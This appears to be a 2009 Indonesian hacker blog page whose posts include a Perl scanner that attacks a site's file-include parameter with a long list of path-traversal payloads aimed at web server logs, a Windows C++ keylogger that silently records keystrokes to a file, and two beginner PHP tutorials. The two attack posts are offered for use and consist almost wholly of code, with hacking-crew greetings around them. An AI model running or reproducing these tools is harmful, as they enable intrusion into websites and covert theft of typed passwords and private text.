And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom
[Read More...]

Friday, July 3, 2009

LFI Scaner

use LWP::UserAgent;
use HTTP::Request;

$t = LWP::UserAgent->new() or die ('Error');
$t->agent('Mozilla');

print "[~] LFI Scanner \n";
print "[~] Masukkan Site (ex: www.site.com) : ";
chomp($site = );
print "[~] Masukkan Path (ex: /file.php?lfi=) : ";
chomp($path = );
print "[~] Masukkan LFI Vuln (ex: ../../../) : ";
chomp($lfi = );
print "[~] Options : 1 = null 2 = : ";
chomp($opts = );

@list = (
"apache/logs/error.log",
"apache/logs/access.log",
"apache/logs/error.log",
"var/log/httpd/access_log",
"apache/logs/access.log",
"apache/logs/error.log",
"apache/logs/access.log",
"apache/logs/error.log",
"apache/logs/access.log",
"var/log/httpd/error_log",
"apache/logs/error.log",
"apache/logs/access.log",
"logs/error.log",
"logs/access.log",
"logs/error.log",
"logs/access.log",
"logs/error.log",
"logs/access.log",
"logs/error.log",
"logs/access.log",
"logs/error.log",
"logs/access.log",
"etc/httpd/logs/access_log",
"etc/httpd/logs/access.log",
"etc/httpd/logs/error_log",
"etc/httpd/logs/error.log",
".. /var/www/logs/access_log",
"/var/www/logs/access_log",
"var/www/logs/access.log",
"usr/local/apache/logs/access_log",
"usr/local/apache/logs/access.log",
"var/log/apache/access_log",
"var/log/apache/access.log",
"var/log/access_log",
"var/www/logs/error_log",
"var/www/logs/error.log",
"usr/local/apache/logs/error_log",
"usr/local/apache/logs/error.log",
"var/log/apache/error_log",
"var/log/apache/error.log",
"var/log/access_log",
"var/log/error_log",
"/apache/logs/error.log",
"/apache/logs/access.log",
"apache/logs/error.log",
"apache/logs/access.log",
"/apache/logs/error.log",
"/apache/logs/access.log",
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache2/access_log",
"/var/log/apache/access.log",
"/var/log/apache2/access.log",
"/var/log/access_log",
"/var/log/access.log",
"/var/www/logs/error_log",
"/var/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache2/error_log",
"/var/log/apache/error.log",
"/var/log/apache2/error.log",
"/var/log/error_log",
"/var/log/error.log",
"../../../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../../../var/log/httpd/error_log",
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log,"
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../apache2/logs/error.log",
"../apache2/logs/access.log",
"../../apache2/logs/error.log",
"../../apache2/logs/access.log",
"../../../apache2/logs/error.log",
"../../../apache2/logs/access.log",
"../../../../apache2/logs/error.log",
"../../../../apache2/logs/access.log",
"../../../../../apache2/logs/error.log",
"../../../../../apache2/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../usr/local/apache2/logs/access_log",
"../../../../../../../../../../usr/local/apache2/logs/access.log",
"../../../../../../../../../../usr/local/apache2/logs/error_log",
"../../../../../../../../../../usr/local/apache2/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../var/log/httpd/access_log",
""../../../../../../../../../../var/log/httpd/access.log",
"../../../../../../../../../../var/log/httpd/error_log",
"../../../../../../../../../../var/log/httpd/error.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/apache2/access_log",
"../../../../../../../../../../var/log/apache2/access.log",
"../../../../../../../../../../var/log/apache2/error_log",
"../../../../../../../../../../var/log/apache2/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/access.log",
"../../../../../../../../../../var/log/error_log",
"../../../../../../../../../../var/log/error.log",
"../../../../../../../../../../opt/lampp/logs/access_log",
"../../../../../../../../../../opt/lampp/logs/error_log",
"../../../../../../../../../../opt/xampp/logs/access_log",
"../../../../../../../../../../opt/xampp/logs/error_log",
"../../../../../../../../../../opt/lampp/logs/access.log",
"../../../../../../../../../../opt/lampp/logs/error.log",
"../../../../../../../../../../opt/xampp/logs/access.log",
"../../../../../../../../../../opt/xampp/logs/error.log",
"../../../../../../../../../../Program Files\Apache Group\Apache\logs\access.log",
"../../../../../../../../../../Program Files\Apache Group\Apache\logs\error.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/error.log",
"../../../../../../../../apache/logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../logs/error.log",
"../../../../../../../logs/access.log",
"../../../../../../../../logs/error.log",
"../../../../../../../../logs/access.log",
"../../../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/log/error_log"
);

if (!$opts)
{
print "[~] Masukkan Options\n";
exit;
}
else
{
print "\nScanning...\n";
foreach $lo (@list)
{
if ($opts == '1')
{
$attack = "http://$site/$path$lfi$lo";
}
else
{
$attack = "http://$site/$path$lfi$lo";
}

$r = $t->request(HTTP::Request->new(GET=>$attack));
$test = 'GET /';
if ($r->content =~/$test/)
{
print "[~] Found Logs File : $attack\n";
exit;
}
else
{
print "[~] Trying...\n";
}
}
}
print "[~] Done\n";


--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, jaqk
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding
[Read More...]

Monday, June 8, 2009

(c++) keylogger

begin code :

#include
#include
#include
#include


std::string GetKey(int Key)
{
std::string KeyString = "";

if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}

int main()
{
std::string Filename = "C:\\tbd_logger.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while(true)
{

Sleep(5);

for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);

FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, jaqk
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding

[Read More...]

Saturday, April 25, 2009

PHP - SINTAKS

Kode-kode PHP dituliskan di antara tanda berikut ini:




Apabila Anda membuat kode PHP dan berencana akan mendistribusikan ke pihak/orang lain, maka usahakan untuk menggunakan sintaks . Hal ini dikarenakan untuk penggunaan kode yang menggunakan terkadang tidak bisa dijalankan dalam server tertentu.

Menyimpan File PHP

Apabila Anda memiliki kode PHP yang disisipkan dalam HTML dalam suatu file dan menginginkan web server dapat menjalankannya, maka file tersebut harus disimpan dalam ekstensi .php. Apabila Anda menyimpannya dengan ekstensi .html atau .htm, maka kode PHP tersebut tidak akan diproses dan akan ditampilkan dalam web browser seperti apa adanya
(berupa kode-kode).

Contoh:




Semicolon (;)

Apabila Anda perhatikan contoh sebelumnya, maka terdapat tanda titik koma (semicolon) pada akhir perintah echo. Tanda semicolon merupakan penanda akhir dari statement PHP dan harus ada.

Contoh:




Pindah Spasi

Seperti halnya HTML, pergantian spasi dalam PHP tidak akan mempengaruhi tampilan hasilnya. Dengan kata lain, pergantian spasi akan diabaikan oleh PHP.

Perhatikan contoh berikut ini. Pada contoh tersebut diberikan tiga bentuk penulisan kode PHP
yang berbeda namun akan dihasilkan tampilan yang sama dalam web browser.
Contoh:





--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, jaqk
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding


[Read More...]

PHP - INTRODUCTION

Apa Itu PHP?

Berdasarkan informasi dari situs resmi PHP, "PHP.net", PHP (PHP: Hypertext Prepocessor)
merupakan bahasa pemrograman web yang dapat disisipkan dalam script HTML. Banyak sintaks
di dalamnya yang mirip dengan bahasa C, Java dan Perl. Tujuan dari bahasa ini adalah membantu para pengembang web untuk membuat web dinamis dengan cepat.

Ketika seseorang mengunjungi web berbasis PHP, web server akan memproses code-code PHP. Beberapa perintah atau code dari PHP tersebut selanjutnya ada yang diterjemahkan ke dalam HTML dan beberapa ada yang disembunyikan (misalnya proses kalkulasi dan operasi). Setelah diterjemahkan ke dalam HTML, web server akan mengirim kembali ke web browser pengunjung tersebut.

Apa yang Bisa Dilakukan dengan PHP?

* Mengurangi waktu untuk membuat web berskala besar
* Mampu menciptakan web interaktif
* Menciptakan berbagai tool untuk keperluan online
(http://www.hotscripts.com/PHP/Scripts_and_Programs/)
* Mendukung e-commerce (shopping carts)


Modal Dasar Mempelajari PHP

Sebelum mempelajari PHP, Anda harus menguasai
* HTML,
* Dasar-dasar pemrograman (C/C++ lebih baik)

Aplikasi Yang Diperlukan

Untuk dapat bekerja dengan PHP, berikut ini adalah beberapa aplikasi yang diperlukan:
* Web server (Apache, IIS, Personal Web Server/PWS)
* PHP server (dapat didownload di PHP.net)
* Database server (MySQL, Interbase, MS SQL, dll)
* Web Editor (Dreamweaver, Frontpage, dll)

Anda dapat pula menggunakan tool aplikasi yang di dalamnya sudah terdapat web server
(Apache), PHP server, dan MySQL yang terintegrasi menjadi satu. Tool tersebut dapat diinstal di
PC sebagai sarana belajar PHP. Beberapa contoh tool tersebut diantaranya adalah Easyphp
(Easyphp.org), PHPTriad, AppServe, dll.

PHP server dapat berjalan dengan baik di beberapa OS seperti Windows, Linux, dan Macintosh.



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)

MAAF ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff!
~ Echo staff
~ antijasakom staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, jaqk
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding
[Read More...]

Contact Person

Yahoo Messenger :





Donate to make this site alive :

Information


Shamus-2010

About Me

..SHAMUS.. menurut pendapat dari beberapa ahli terkemuka dunia, argumentasi, opini, simpangan dari fakta yang ada, dan menurut kata orang-orang yang agak ga jelas yang ada di sekitar kita serta cerita dari beberapa narasumber terpercaya.. (watduwh...apalagi ini) ...aq ini orangnya pendiam, baek hati, sabar, suka menolong, ramah dan rajin menabung...juga NGANGENIN... note : khusus kata terakhir jangan pernah di percaya, karena memang sulit untuk di percaya.. ( mode narsis : ON ) Halagh... Apa lagi ini...ngaco... Hehhehe... ga dink... padahal aq tu ga segitu-segitu amat..tau lah... tapi yang pasti... Aq hanyalah seorang manusia biasa yang akan tetap menangis bila bersedih dan akan tertawa bila bahagia...:-) "so,My lastest comment..." ..I'm everyone...but noone... ..Everywhere...nowhere...

Categories

Stats

kumpulblogger